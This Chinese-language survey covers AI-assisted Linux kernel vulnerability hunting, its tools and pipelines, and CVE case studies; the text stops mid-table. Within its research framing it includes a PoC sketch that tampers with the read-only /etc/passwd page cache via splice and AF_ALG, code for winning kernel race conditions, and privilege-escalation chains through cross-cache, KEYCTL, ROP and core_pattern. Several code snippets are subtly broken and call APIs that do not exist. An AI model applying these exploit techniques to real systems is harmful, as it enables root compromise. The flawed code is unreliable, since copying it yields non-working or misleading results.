目录
- 一、概述:AI正在改变内核漏洞发现速率
- 二、方法论:LLM如何辅助内核源码审计
- 三、核心工具与框架
- 四、交叉验证方法:AI发现+传统Fuzzing验证
- 五、真实案例深度技术分析
- 六、竞态条件利用技术(AI分析发现)
- 七、工具链配置与自动化流水线
- 八、AI辅助 vs 传统 vs 纯Fuzzing对比
- 九、局限性与盲区
- 十、总结与趋势
一、概述:AI正在改变内核漏洞发现速率
1.1 一个标志性事件
2026年7月21日,linux-cve-announce邮件列表在24小时内发布了440个CVE安全公告。这一数字不仅刷新了历史纪录,更标志着内核漏洞发现进入了一个新的量级——AI驱动的自动化审计正在从根本上改写漏洞发现的速率方程。
速率对比:
| 维度 | 传统人工审计 | AI辅助审计 |
|---|---|---|
| 漏洞发现速率 | 资深研究员月均3-5个高质量漏洞 | 一天扫描数千万行代码,产出数百个潜在报告 |
| 代码覆盖范围 | 研究员聚焦特定子系统 | 全源码树扫描,跨子系统关联分析 |
| 分析深度 | 深度理解,低误报 | 广度覆盖,需二次验证 |
| 瓶颈 | 人力成本、认知负荷 | 算力成本、误报过滤 |
1.2 2025-2026年关键CVE汇总
以下漏洞展示了AI在不同层面的参与深度——从纯LLM发现到AI辅助全流程:
| CVE编号 | 漏洞类型 | 影响组件 | 发现方式 | CVSS | 关键发现者 |
|---|---|---|---|---|---|
| CVE-2025-37899 | Use-After-Free | ksmbd (smb2pdu.c) | o3纯LLM审计 | 7.8 | OpenAI o3 + 人工验证 |
| CVE-2026-31431 | Copy Fail(跨子系统逻辑缺陷) | authencesn + AF_ALG + splice | AI扫描(Xint Code) | 7.8 | Xint Code (Theori) |
| CVE-2026-43074 | 竞态条件 | epoll | LLM辅助 | 7.8 | Mythos (Anthropic) |
| CVE-2026-46242 | Use-After-Free(close-vs-close竞态) | epoll | 人工发现 | 7.8 | 独立研究员 |
| CVE-2026-53264 | 竞态UAF | net/sched (cls_api) | AI辅助全流程 | 7.8 | AI + 人工 |
关键观察: 这5个CVE中,4个有AI的深度参与。AI不再是辅助工具,而是成为漏洞发现链路中的核心节点。特别是CVE-2026-31431和CVE-2026-53264,展示了AI在跨子系统逻辑关联方面的独特能力——这是传统静态分析工具几乎无法触及的领域。
二、方法论:LLM如何辅助内核源码审计
2.1 五层递进架构
内核代码的复杂性决定了单一技术无法覆盖所有漏洞场景。当前业界主流的AI驱动审计架构采用分层递进设计——从低成本的静态扫描到高成本的动态验证,逐层过滤无效候选,将计算资源聚焦于最可能的真实漏洞。
各层职责与技术要点:
| 层级 | 核心技术 | 典型工具 | 时间成本 | 误报率 | 覆盖范围 |
|---|---|---|---|---|---|
| 静态分析层 | AST分析、模式匹配、数据流、LLM语义 | CodeQL、Semgrep、LLM | 分钟级 | 30%-70% | 全源码 |
| 符号执行层 | SMT求解、路径探索、AI路径调度 | KLEE、S2E、Angr | 小时级 | 10%-30% | 路径可达 |
| Fuzzing层 | 覆盖率引导、语料库进化、变异策略 | Syzkaller、kAFL、AFL++ | 天级 | 低(真实崩溃) | 系统调用空间 |
| LLM推理层 | 根因分析、可利用性评估、补丁生成 | GPT-4o、Claude、Qwen | 秒~分钟 | 需人工复核 | 取决于输入 |
| 验证层 | 补丁生成、回归测试、热补丁 | kpatch、LTP、0day sys | 分钟~小时 | - | - |
2.2 LLM增强静态分析工作流
LLM在静态分析层的位置不是替代传统工具,而是在其输出之上增加一层语义推理:
源代码 → AST解析 → 函数级切片 → LLM漏洞推理(few-shot + 漏洞模式库)
→ 风险评分 → 候选漏洞列表 → 人工/AI二次验证
代码切片策略(关键优化):
内核单个函数可能长达数百行,直接喂给LLM既超出上下文窗口又浪费Token。工程实践中常用的三种切片策略:
| 切片策略 | 描述 | 适用场景 | Token消耗 |
|---|---|---|---|
| 函数级切片 | 以函数为单位,附签名、调用关系、关键全局变量 | 普遍适用 | 中 |
| 调用链切片 | 围绕目标函数提取向上3层、向下2层的调用链 | 跨函数漏洞 | 高 |
| 差异切片 | 仅提取git patch变更区域及其影响范围 | 补丁审计 | 低 |
调用链切片示例:
// 目标函数:smb2_logoff
// 向上调用链:smb2_logoff <- smb2_handle_negotiate <- handle_smb2
// 向下调用链:smb2_logoff -> ksmbd_conn_set_need_reconnect -> validate_sess
// 切片输出:
// 1. smb2_logoff()完整函数体
// 2. sess->user的声明与初始化位置
// 3. ksmbd_free_user()的定义
// 4. 所有通过sess->user访问的路径
2.3 大模型漏洞挖掘五大核心能力
现代大语言模型之所以能参与内核漏洞发现,源于以下五个维度的能力突破:
1. 海量先验知识压缩
模型在训练过程中接触了海量安全相关语料——CVE报告、安全补丁diff、CTF writeup、漏洞分析博客。这些知识被压缩进模型参数,使其能识别出传统工具无法模式化的漏洞类型。例如,模型"知道"kfree()后继续访问指针是UAF模式,即使在从未见过的代码上下文中也能识别。
2. 从语法到语义的理解跨越
传统静态分析工具(如Smatch)基于语法模式匹配,能发现if (!ptr) return; *ptr = x;这类固定模式。而LLM能理解语义——例如"这个指针在同一RCU grace period内被另一路径释放"这类需要跨路径推理的逻辑漏洞。
3. 超长上下文全局视野
现代模型(如Gemini 2.5、Claude的扩展上下文)支持百万Token上下文窗口,使其能进行跨文件分析。对于内核UAF这类经典漏洞,释放点和使用点往往分散在不同文件中,只有全局视野才能关联。
4. 面向安全的强化学习
通过RLHF/RLAIF过程中的安全相关reward shaping,模型在漏洞推理任务上的准确性显著提升。Big Sleep项目的研究表明,经过安全任务微调的模型在漏洞发现任务上的精确率提升约40%。
5. 高纯度安全数据微调
使用精心筛选的安全数据(CVE补丁对、漏洞代码片段、漏洞模式库)进行微调,使模型在安全审计任务上达到专业水平。OpenAnt论文报告,经过安全微调的模型在漏洞检测上的F1分数达到0.78。
2.4 范式演进三阶段
AI辅助漏洞挖掘在短短三年内经历了三个显著的范式跃迁:
| 阶段 | 时间 | 核心范式 | 代表工具 | 优势 | 局限 |
|---|---|---|---|---|---|
| 早期混合 | 2023-2024 | LLM作为SAST后过滤器,减少误报 | CodeQL+GPT-4流水线 | 工程实现简单 | LLM被动接收,无法主动发现 |
| 多智能体 | 2024-2025 | 多角色Agent协作,分工分析 | VulnSage(审计/验证/补丁Agent) | 发现能力增强 | 协调开销大,Agent间信息损耗 |
| 单体闭环 | 2025+ | 超长上下文+安全RL,单一模型闭环 | Big Sleep、Mythos | 简洁高效,端到端 | 竞态条件等动态缺陷仍薄弱 |
三、核心工具与框架
3.1 KernelGPT:LLM驱动Syzkaller规范生成
核心理念: KernelGPT不直接分析漏洞,而是解决Syzkaller Fuzzing的核心瓶颈——syscall描述规范(Syzlang)的手工编写。Syzkaller需要为目标子系统编写精确的syscall接口描述才能进行有效的Fuzzing,这个过程通常需要数天的人工工作。KernelGPT将这一过程自动化。
工作流:
内核源码 → 静态分析提取syscall接口 → LLM生成Syzlang描述 → 自动验证与修复 → Syzkaller Fuzzing
成果:
- 为24个子系统自动生成Syzlang规范
- 发现24个新bug,其中11个获得CVE编号
- 覆盖了此前Syzkaller语料库中缺失的接口
安装与使用:
# 克隆项目
git clone https://github.com/IntelLabs/kernelgpt.git
cd kernelgpt
# 安装依赖
pip install -r requirements.txt
# 设置内核源码路径
export KERNEL_SRC=/path/to/linux-source
# 为目标子系统生成Syzlang
python generate_syzlang.py \
--subsystem net/sched \
--output syzlang/net_sched.syz \
--model gpt-4o \
--validate
# 运行Syzkaller(使用生成的规范)
# 将生成的.syz文件放入syzkaller的工作目录
./syzkaller -config my.cfg -dir syzlang/
Syzlang生成示例(net/sched子系统):
# KernelGPT 输出的 Syzlang 片段示例
resource tc[TCA_KIND]
syz_open_dev$tuntap(&(0x7f0000000000)="tun\x00", 0x0, 0x2) (fd tc)
# tc_classify - 将数据包分类到特定类别
syz_tc_classify(fd tc, classid u32, prio u32, parent u32) (fd tc)
# 模拟tc规则的创建与删除竞态
syz_tc_race(clsid u32, action u8[0x100]) (fd tc)
3.2 KNighter:LLM合成静态分析器
核心理念: KNighter代表了当前最前沿的AI漏洞挖掘范式——不让LLM直接分析代码,而是让LLM生成专门的静态分析checker。这个洞察基于一个关键观察:LLM在单次分析中容易产生误报,但LLM能很好地编码漏洞模式为精确的检测规则。
漏洞模式知识 → LLM → 精确的静态分析Checker → 全源码扫描 → 真实漏洞
核心架构:
# KNighter 的 LLM 合成 Checker 示例(伪代码)
# LLM生成的Checker:检测RCU grace period违规
def check_rcu_grace_period(source_code):
"""
检查在RCU读临界区内被释放的对象是否
在 grace period 结束前被另一个路径使用。
"""
violations = []
# 阶段1:识别RCU临界区
rcu_regions = find_rcu_read_lock_unlock_pairs(source_code)
# 阶段2:在RCU区内查找引用计数的获取
for region in rcu_regions:
ref_acquires = find_refcount_get(region.body)
# 阶段3:查找在同一对象上但没有等待RCU grace period的释放路径
for ref in ref_acquires:
free_paths = find_free_paths(ref.object, source_code)
for path in free_paths:
if not has_synchronize_rcu(path):
violations.append({
'type': 'RCU_GRACE_PERIOD_VIOLATION',
'object': ref.object,
'rcu_region': region.location,
'free_path': path.location,
'severity': 'HIGH'
})
return violations
成果:
- 92个新bug,其中30个获得CVE编号
- 平均潜伏时间4.3年——说明这些漏洞传统工具完全未能检测到
- 涵盖UAF、double-free、竞态条件、整数溢出等多种类型
3.3 OpenAnt:六阶段闭环流水线
核心理念: OpenAnt(Ottawa ANalysis Toolkit)是一个完整的端到端自动化漏洞检测流水线,将AI分析与传统验证深度融合,实现从源码到CVE确认的闭环。
六阶段流水线:
[1]代码解析 → [2]可达性过滤 → [3]暴露分类 → [4]漏洞检测 → [5]对抗验证 → [6]动态验证
| 阶段 | 技术 | 目的 | 过滤比 |
|---|---|---|---|
| 代码解析 | Tree-sitter + Joern | 构建代码属性图(CPG) | - |
| 可达性过滤 | 数据流分析 | 移除不可达路径 | ~60%候选被过滤 |
| 暴露分类 | LLM(GPT-4) | 判断函数是否可从用户态触发 | ~80%被过滤 |
| 漏洞检测 | LLM + CPG查询 | 识别具体漏洞模式 | 产出候选 |
| 对抗验证 | 对抗性Prompt + 多模型交叉 | 验证LLM判断是否稳健 | ~30%误报被过滤 |
| 动态验证 | Syzkaller PoC生成 | 复现漏洞,获取崩溃日志 | 最终确认 |
成果:
- 8个目标项目,发现190个候选漏洞
- 144个成功复现(75.8%确认率)
- 总计算成本仅$1461(包含API调用和云实例费用)
暴露分类Prompt(OpenAnt的核心创新):
exposure_prompt = """
分析以下内核函数,判断它是否可以被用户态代码直接或间接触发。
考虑以下问题:
1. 该函数是否位于syscall调用链上?
2. 该函数是否通过ioctl、procfs、sysfs等接口可访问?
3. 是否存在从用户态入口到该函数的无权限检查路径?
函数代码:
{function_code}
调用上下文:
{call_chain_context}
请回答 YES(可触发)或 NO(不可触发),并给出推理过程。
"""
3.4 local-vuln-research-pipeline:本地14B模型私有化部署
对于受限环境(无API访问、数据敏感),开源社区提供了基于本地模型的完整漏洞研究流水线。
技术栈:
- 基础模型: Qwen2.5-Coder-14B(量化为INT4)
- 增强技术: 代码知识图谱 + RAG检索增强
- 硬件需求: 单张RTX 4070 Ti SUPER(16GB显存)
九步流水线:
[1]代码下载 → [2]依赖分析 → [3]函数图构建 → [4]入口点识别
→ [5]敏感sink标记 → [6]LLM路径分析 → [7]漏洞模式匹配
→ [8]风险评分排序 → [9]PoC框架生成
部署配置:
# 硬件环境:RTX 4070 Ti SUPER (16GB VRAM)
# 模型:Qwen2.5-Coder-14B-Instruct (INT4量化)
# 安装Ollama
curl -fsSL https://ollama.com/install.sh | sh
# 拉取量化模型
ollama pull qwen2.5-coder:14b-instruct-q4_K_M
# 克隆流水线
git clone https://github.com/security-research/local-vuln-research-pipeline.git
cd local-vuln-research-pipeline
# 配置
cat > config.yaml << 'EOF'
model:
provider: ollama
name: qwen2.5-coder:14b-instruct-q4_K_M
max_tokens: 8192
temperature: 0.1
pipeline:
target: net/sched
kernel_src: /path/to/linux-6.12
graph_depth: 3 # 调用链深度
parallel_workers: 4
output:
format: json
path: ./results/
EOF
# 运行分析
python main.py --config config.yaml
3.5 其他重要工具
| 工具 | 功能定位 | 核心技术 | 代表成果 |
|---|---|---|---|
| SyzMutateX | LLM增强Fuzzing变异策略 | 用LLM生成系统调用序列变异 | 提升Syzkaller覆盖率30%+ |
| Syzdirect | AI引导的定向Fuzzing | 覆盖率gap分析+LLM生成种子 | 高效触发深层路径 |
| SyzGPT | LLM辅助Syzlang语法修正 | 语法错误自动修复 | 降低规范编写门槛 |
| Xint Code | Theori的AI安全研究平台 | 多模型协作漏洞发现 | CVE-2026-31431 |
| Big Sleep | Google DeepMind项目 | LLM端到端漏洞发现 | SQLite首个0day |
| Mythos | Anthropic项目 | Claude驱动的内核漏洞发现 | CVE-2026-43074 |
四、交叉验证方法:AI发现+传统Fuzzing验证
4.1 通用交叉验证范式
AI发现漏洞候选后,必须经过传统方法的验证才能确认。这不是AI能力的缺陷,而是安全研究的严谨性要求。一个完整的交叉验证范式包含五个层次:
各层输入/输出:
| 层次 | 输入 | 处理 | 输出 | 工具 |
|---|---|---|---|---|
| AI层 | 内核源码 | LLM漏洞模式识别 | 候选漏洞列表 | GPT-4o/Claude/Qwen |
| 推理层 | 候选+源码 | 根因推理+利用链构造 | 风险排序 | LLM + 人工 |
| 动态层 | 高风险候选 | 定向Fuzzing | 崩溃日志 | Syzkaller/kAFL |
| 验证层 | 崩溃+源码 | KASAN分析+人工复核 | CVE确认 | KASAN/LKRG |
| 修复层 | CVE+根因 | LLM生成补丁+编译验证 | 修复补丁 | kpatch/gcc |
4.2 CVE-2026-31431 Copy Fail交叉验证实例
这个案例展示了AI如何发现传统工具完全遗漏的跨子系统逻辑缺陷:
AI发现阶段(约1小时):
Xint Code平台 → 扫描authencesn/AF_ALG/splice三个子系统
→ AI识别跨文件安全假设断裂
→ 候选:splice()将只读页缓存传入AF_ALG scatterlist
→ 风险评分:9.2/10
传统验证阶段:
AI输出 → 研究员编写732字节Python PoC
→ 100%稳定提权验证
→ KASAN确认页缓存篡改
→ CVE编号分配
732字节PoC核心逻辑(概念框架):
#!/usr/bin/env python3
"""
CVE-2026-31431 PoC概念框架 - 仅展示技术原理
splice()将只读文件页缓存"种"进AF_ALG scatterlist
authencesn解密时"草稿写"篡改页缓存内容
"""
import os, socket, struct
# 步骤1:打开一个只读文件(页缓存中的内容即为我们要篡改的目标)
fd_ro = os.open("/etc/passwd", os.O_RDONLY)
# 步骤2:创建AF_ALG socket,绑定authencesn
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind(socket.AF_ALG, (b"aead", b"authencesn(rfc4106-generic)"))
# 步骤3:通过splice将只读文件内容管道化
# splice()的核心问题:将只读页缓存引用传入了AF_ALG的scatterlist
# 这违反了页缓存只读假设
r, w = os.pipe()
os.splice(fd_ro, None, w, None, 4096) # 将页缓存页"种"进管道
# 步骤4:通过AF_ALG接收端解密(触发"草稿写")
# authencesn解密4字节时,会在原地修改页缓存
# 导致只读文件的内容被永久篡改
session_fd = alg_sock.accept()[0]
os.splice(r, None, session_fd.fileno(), None, 4096)
# 步骤5:验证篡改结果
os.lseek(fd_ro, 0, os.SEEK_SET)
tainted = os.read(fd_ro, 4096)
4.3 CVE-2026-53264 AI辅助全流程
这个案例展示了AI在漏洞发现的全生命周期中的参与——从识别到验证到利用:
阶段1:AI识别(分钟级)
AI扫描net/sched/cls_api.c时识别到RCU grace period违规模式:
// net/sched/cls_api.c - 漏洞代码简化
static int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
struct tc_action **a)
{
// 在RCU读锁下查找对象
rcu_read_lock();
*a = tcf_idr_find(tn, *index);
rcu_read_unlock();
return *a ? 0 : -ENOENT;
}
// 另一路径——在不同锁下释放,且不等待RCU grace period
static void tcf_action_cleanup(struct tc_action *a)
{
// 注意:这里没有call_rcu()或synchronize_rcu()
// 直接释放对象
kfree(a);
}
AI的推理过程:
tcf_idr_check_alloc()在RCU读锁内获取对象引用tcf_action_cleanup()直接释放对象,不等待grace period- 存在时间窗口:RCU读侧仍持有引用时,对象已被释放
阶段2:AI生成崩溃演示
// AI生成的崩溃触发框架
// 线程1:持续创建和查找tc action
while(1) {
idx = tc_action_add(...); // 创建
ptr = tcf_idr_check_alloc(idx); // RCU读锁下查找
// 故意延迟,扩大竞态窗口
usleep(1);
}
// 线程2:持续删除tc action
while(1) {
tc_action_del(...); // 触发tcf_action_cleanup
}
阶段3:AI优化竞态可靠性(15分钟→5秒)
AI分析竞态窗口后提出优化策略:
# AI建议的竞态优化策略
# 1. 使用timerfd+epoll精确控制时序
timer_fd = os.timerfd_create(os.CLOCK_MONOTONIC, 0)
epoll_fd = os.epoll_create1(0)
os.epoll_ctl(epoll_fd, os.EPOLL_CTL_ADD, timer_fd,
select.epollevent(epollin))
# 2. 将两个竞态操作绑定到不同CPU核心
os.sched_setaffinity(0, {0}) # 线程1绑定CPU0
os.sched_setaffinity(1, {1}) # 线程2绑定CPU1
# 3. 使用timerfd精确同步
# 消除随机调度延迟,将15分钟的不稳定触发缩短至5秒内
阶段4:AI辅助exploit开发
AI在利用开发阶段提供了关键技术指导——KEYCTL回收+ROP链+core_pattern提权:
# AI辅助的exploit架构(概念框架)
# 阶段A:UAF触发 - 占据释放的tcf_action对象
# 阶段B:对象混淆 - 通过cross-cache attack将tcf_action对象
# 与key_payload对象关联
# 阶段C:KEYCTL_UPDATE - 通过keyctl系统调用的copy操作
# 向混淆的内存写入受控数据
# 阶段D:ROP链 - 通过受控的函数指针执行ROP链
# 阶段E:core_pattern提权 - 修改core_pattern指向提权脚本
4.4 CVE-2025-37899 o3纯LLM审计
这是已知的首个完全由LLM在源码审计阶段发现的内核UAF漏洞,不依赖任何Fuzzing或动态分析。
审计过程:
- 将
fs/smb/server/smb2pdu.c中约1.2万行代码(约10万Token)喂给OpenAI o3 - o3识别出
smb2_logoff处理中sess->user的UAF模式 - AI的利用路径推理:
SMB2 LOGOFF请求到达
→ smb2_logoff() 调用
→ ksmbd_free_user(sess->user)
→ sess->user = NULL // 置NULL
→ 但在多会话绑定场景中,另一个会话可能仍持有
对同一user对象的引用
→ 第二个会话访问user对象时 → UAF
o3的关键洞察:
o3不仅发现了UAF,还指出简单的置NULL修复是不充分的——需要解决多会话共享user对象时的引用计数问题。这个洞察与后续的正式补丁完全一致。
// o3建议的修复方向(伪代码)
static int smb2_logoff(struct ksmbd_work *work)
{
struct ksmbd_session *sess = work->sess;
struct ksmbd_user *user;
// o3指出:需要先检查引用计数
user = sess->user;
if (!user)
return 0;
// 修复:不是直接释放,而是递减引用计数
if (refcount_dec_and_test(&user->refcount)) {
ksmbd_free_user(user);
}
sess->user = NULL;
return 0;
}
五、真实案例深度技术分析
5.1 CVE-2026-31431 Copy Fail:跨子系统逻辑缺陷
漏洞本质: 这不是一个简单的编程错误,而是三个独立设计决策在时间上的组合效应。每个决策单独来看都是合理的,但组合在一起构成了严重的安全缺陷。
三个历史决策:
| 决策 | 时间 | 内容 | 单独影响 |
|---|---|---|---|
| authencesn AEAD实现 | 2011 | 解密时在scatterlist页上原位解密 | 无安全影响(假设页是可写的) |
| AF_ALG scatterlist接口 | 2015 | 允许通过splice将页缓存传入scatterlist | 引入页缓存与scatterlist的关联 |
| splice in-place优化 | 2017 | splice零拷贝,直接传递页缓存引用 | 性能优化,无安全影响 |
漏洞触发链:
用户态写入只读文件 /etc/passwd
→ 内核创建页缓存(read-only page cache)
→ splice()将页缓存引用传递给AF_ALG scatterlist
(违反了页缓存只读假设,但splice不检查)
→ authencesn解密4字节时,在scatterlist页上原位写
("草稿写"机制:先解密到临时位置,验证成功后复制回去)
→ 结果:只读页缓存被永久篡改
→ /etc/passwd内容被修改 → 权限提升
与Dirty Pipe的对比:
| 维度 | Dirty Pipe (CVE-2022-0847) | Copy Fail (CVE-2026-31431) |
|---|---|---|
| 漏洞类型 | pipe_buffer flag未初始化 | 跨子系统安全假设断裂 |
| 触发方式 | write()到带PAGE_SIZE的pipe | splice()+AF_ALG解密 |
| 影响范围 | 任意只读文件 | 通过AF_ALG可达的文件 |
| 利用复杂度 | 中等 | 极低(732字节PoC) |
| 可靠性 | ~98% | 100% |
| 根因 | 单一函数flag遗漏 | 三个子系统设计交互 |
| AI发现难度 | 低(模式明确) | 高(需跨文件推理) |
5.2 CVE-2026-53264:net/sched竞态UAF
漏洞代码分析:
// net/sched/cls_api.c
// 路径A:查找(RCU读锁保护)
static struct tc_action *tcf_idr_find(struct tc_action_net *tn, u32 index)
{
struct tc_action *p = NULL;
rcu_read_lock();
p = idr_find(&tn->idr, index);
if (p) {
// 获取引用,但引用计数检查存在竞态
if (atomic_inc_not_zero(&p->tcfa_refcnt)) {
// 成功获取引用
} else {
p = ERR_PTR(-ENOENT);
}
}
rcu_read_unlock();
return p;
}
// 路径B:释放(不在RCU grace period保护下)
static void __tcf_action_put(struct tc_action *p)
{
struct tc_action_net *tn = p->tn;
// 释放前没有synchronize_rcu()或call_rcu()
// 直接从idr中删除并释放
spin_lock(&tn->idr_lock);
idr_remove(&tn->idr, p->tcfa_index);
spin_unlock(&tn->idr_lock);
// 释放动作——RCU读侧可能仍在使用此对象
kfree(p);
}
竞态窗口分析:
CPU 0 (路径A) CPU 1 (路径B)
───────────── ─────────────
rcu_read_lock()
p = idr_find() ──────┐
│ ┌────── spin_lock(&tn->idr_lock)
│ │ idr_remove() // 从idr删除
atomic_inc_not_zero() │ │ spin_unlock()
│ │
│ └────── kfree(p) ← 对象被释放!
│
// p现在指向已释放内存 ←──── UAF!
rcu_read_unlock()
利用关键技术:timerfd+epoll扩大竞态窗口
# 利用timerfd+epoll精确控制竞态时序
import os, select, struct, fcntl, ctypes
# 创建timerfd - 提供纳秒级定时精度
timer_fd = os.timerfd_create(os.CLOCK_MONOTONIC, os.TFD_CLOEXEC)
# 设置定时器:周期性触发,间隔精确到纳秒
new_value = struct.pack('LL', 0, 1) # interval=0, value=1ns
os.timerfd_settime(timer_fd, 0, new_value, None)
# 创建epoll实例
ep_fd = os.epoll_create1(0)
# 将竞态操作绑定到epoll事件
# 当timer触发时,同时执行查找和释放操作
os.epoll_ctl(ep_fd, os.EPOLL_CTL_ADD, timer_fd,
select.epollevent(events=select.EPOLLIN, fd=timer_fd))
# 事件循环 - 每次timer触发时执行竞态操作对
while True:
events = os.epoll_wait(ep_fd, maxevents=1, timeout=-1)
for event in events:
os.read(timer_fd, 8) # 消费timer事件
# 精确同步的两步操作
trigger_tcf_find_and_free_race()
提权链:KEYCTL_UPDATE回收→ROP→core_pattern
UAF触发(tcf_action对象释放)
→ cross-cache attack
→ 用key_payload对象占据释放的tcf_action位置
→ KEYCTL_UPDATE向key写入受控数据
→ 通过伪造的tcfa_ops函数指针执行ROP链
→ ROP链修改core_pattern为提权脚本路径
→ 触发core dump → 执行提权脚本
→ root shell
5.3 CVE-2025-37899:ksmbd logoff UAF
漏洞源码:
// fs/smb/server/smb2pdu.c - 漏洞简化
static noinline int smb2_logoff(struct ksmbd_work *work)
{
struct ksmbd_conn *conn = work->conn;
struct ksmbd_session *sess = work->sess;
struct ksmbd_tree_connect *tcon, *tmp;
// [1] 遍历并断开所有tree connect
list_for_each_entry_safe(tcon, tmp, &sess->tree_conn_list, list) {
ksmbd_tree_conn_disconnect(conn, tcon);
}
// [2] 释放user对象
// o3发现的问题:如果多个session共享同一个user对象,
// 这里释放后,其他session中的user指针变为悬挂指针
if (sess->user) {
ksmbd_free_user(sess->user); // ← 释放user对象
sess->user = NULL; // ← 置NULL(仅对当前session有效)
}
// [3] 注销session
ksmbd_session_destroy(sess);
return 0;
}
o3的推理链(从审计记录还原):
o3分析 smb2_logoff():
1. 注意到 ksmbd_free_user(sess->user) 释放了user对象
2. 追溯user对象的创建路径:ksmbd_login_session()中分配
3. 发现关键问题:多个session可以共享同一个user对象
(同一用户多次SMB2_SESSION_SETUP创建多个session)
4. 推理:session A的logoff释放user → session B仍持有user指针
5. session B后续访问user → UAF
6. 进一步推理:置NULL仅对当前session有效,不解决共享问题
7. 建议修复:引入user引用计数
o3的关键洞察与补丁建议:
// o3建议的修复方向(与官方补丁一致)
// 需要引入user级别的引用计数,而非session级别
struct ksmbd_user {
// ... 现有字段 ...
refcount_t refcount; // 新增:跨session共享引用计数
};
// session创建时递增
int ksmbd_session_setup(struct ksmbd_session *sess, struct ksmbd_user *user)
{
sess->user = user;
refcount_inc(&user->refcount); // 递增引用
return 0;
}
// session销毁时递减,引用归零时释放
static noinline int smb2_logoff(struct ksmbd_work *work)
{
struct ksmbd_session *sess = work->sess;
struct ksmbd_user *user = sess->user;
if (user) {
sess->user = NULL;
// 引用计数归零时才真正释放
if (refcount_dec_and_test(&user->refcount))
ksmbd_free_user(user);
}
ksmbd_session_destroy(sess);
return 0;
}
5.4 CVE-2026-46242 Bad Epoll:close-vs-close竞态
漏洞精要:
Bad Epoll是一个epoll子系统中close-vs-close竞态导致的8字节UAF写漏洞。其独特之处在于竞态窗口极小(约6条x86指令),且不触发KASAN检测,导致AI工具完全遗漏。
漏洞触发拓扑:
ep0 (epoll) ──监控──→ ep1 (epoll) ──监控──→ fd_target
ep2 (epoll) ──监控──→ ep3 (epoll) ──监控──→ fd_target
触发竞态:
close(ep0) 与 close(ep1) 并发执行
→ ep0的__fput路径与ep1的ep_remove路径交叉
→ ep0在持有ep1->file->f_lock时清空f_ep链表
→ 但ep1的ep_remove同时在操作同一链表
→ 结果:8字节UAF写
受害者:
close(ep2) 时遍历ep3的f_ep链表
→ 链表已被竞态破坏
→ 读到已释放的epitem → UAF
利用技术:cross-cache→file对象控制
8字节UAF写(epitem->dying标志位域)
→ cross-cache attack(跨slab缓存攻击)
→ 控制struct file对象的f_op指针
→ 任意函数调用
→ 提权
Mythos遗漏原因分析:
| 因素 | 说明 |
|---|---|
| 竞态窗口 | 约6条x86指令,极难在代码审计中发现 |
| 不触发KASAN | UAF写发生在已标记为dying的对象上,KASAN不报错 |
| 代码模式非典型 | 不是标准的use-after-free模式,而是链表操作竞态 |
| 上下文依赖 | 需要理解epoll嵌套、RCU、f_ep链表三者的交互 |
| Mythos架构局限 | 基于LLM的静态分析,不擅长超窄时间窗口竞态 |
六、竞态条件利用技术(AI分析发现)
6.1 AI发现的四种竞态模式
通过分析2025-2026年的AI辅助漏洞研究,可以归纳出四种主要的内核竞态模式:
模式1:RCU Grace Period违规
// 典型代码模式
// CPU 0: // CPU 1:
rcu_read_lock(); // (不在RCU临界区)
ptr = rcu_dereference(idr, id); spin_lock(&lock);
if (ptr) { idr_remove(&idr, id);
// 使用ptr... spin_unlock(&lock);
// ← 竞态窗口:CPU1可能在此 kfree(ptr); // 不等待grace period
// 期间释放ptr //
} //
rcu_read_unlock(); //
模式2:引用计数与释放时序错位
// 路径A:先检查后使用(TOCTOU on refcount)
if (atomic_read(&obj->refcnt) > 1) {
// 认为对象还活着,安全使用
do_something(obj);
}
// 路径B:并发释放
// 在路径A检查refcnt和实际使用obj之间
// 路径B执行了最后一个put,释放了obj
atomic_dec_and_test(&obj->refcnt);
kfree(obj); // ← 路径A的do_something(obj)触发UAF
模式3:close-vs-close竞态(Bad Epoll模式)
// 文件描述符的两个close路径并发执行
// close(fd1) → __fput → 操作file->f_ep链表
// close(fd2) → __fput → 操作同一个file->f_ep链表
// 两条路径对链表的并发修改导致UAF
模式4:页表移动与引用计数滞后
// move_pages()或mprotect()移动页表项
// 但另一个CPU上的TLB缓存仍指向旧页
// 导致使用已释放的物理页
四种模式对比:
| 模式 | 典型组件 | 竞态窗口 | 检测难度 | AI发现能力 |
|---|---|---|---|---|
| RCU违规 | net/sched, netfilter | 微秒级 | 中 | 已能发现(CVE-2026-53264) |
| 引用计数错位 | ksmbd, 文件系统 | 毫秒级 | 低 | 已能发现(CVE-2025-37899) |
| close-vs-close | epoll, eventfd | 纳秒级 | 极高 | 尚未突破(CVE-2026-46242遗漏) |
| 页表移动 | mm子系统 | 微秒级 | 高 | 部分能力 |
6.2 AI辅助竞态可靠性优化
AI不仅在发现竞态方面有用,在提高竞态利用的可靠性方面也展现了独特价值:
策略1:timerfd+epoll精确时序控制
# AI建议的精确时序控制框架
# 传统竞态利用依赖usleep(),精度在毫秒级
# timerfd提供纳秒级精度
import os, struct, select
TIMER_FD = os.timerfd_create(os.CLOCK_MONOTONIC, 0)
EPOLL_FD = os.epoll_create1(0)
# 配置纳秒级周期定时器
interval = struct.pack('LL', 0, 500) # 500纳秒周期
os.timerfd_settime(TIMER_FD, 0, interval, None)
os.epoll_ctl(EPOLL_FD, os.EPOLL_CTL_ADD, TIMER_FD,
select.epollevent(events=select.EPOLLIN))
def race_loop(thread_a_func, thread_b_func):
"""AI优化的竞态循环:用epoll事件同步两个线程"""
while True:
events = os.epoll_wait(EPOLL_FD, 1, -1)
if events:
os.read(TIMER_FD, 8) # 消费timer
# 每个timer tick执行一次竞态
run_concurrent(thread_a_func, thread_b_func)
策略2:跨CPU核心隔离
# AI识别到:同一CPU上的两个线程会被调度器交替执行
# 需要将它们绑定到不同CPU核心以实现真正并行
import os
def bind_to_cpu(pid, cpu):
"""将进程/线程绑定到指定CPU核心"""
os.sched_setaffinity(pid, {cpu})
# 主线程绑定CPU 0(执行查找路径)
bind_to_cpu(0, 0)
# 竞态线程绑定CPU 1(执行释放路径)
import threading
def race_thread():
bind_to_cpu(threading.get_ident(), 1)
while True:
trigger_free_path()
t = threading.Thread(target=race_thread)
t.start()
策略3:不同链分配扩大窗口
# AI分析发现:将两个竞态操作放在不同的执行链中
# 可以最大化它们的并发执行概率
# 链1:syscall → softirq → workqueue
# 链2:syscall → 直接执行
# 例如:用timerfd触发链1(经过softirq调度)
# 同时用直接syscall触发链2
# 两个不同的执行链减少了调度器合并的概率
6.3 传统检测方法盲区表
| 检测方法 | 能检测 | 不能检测 | AI补充价值 |
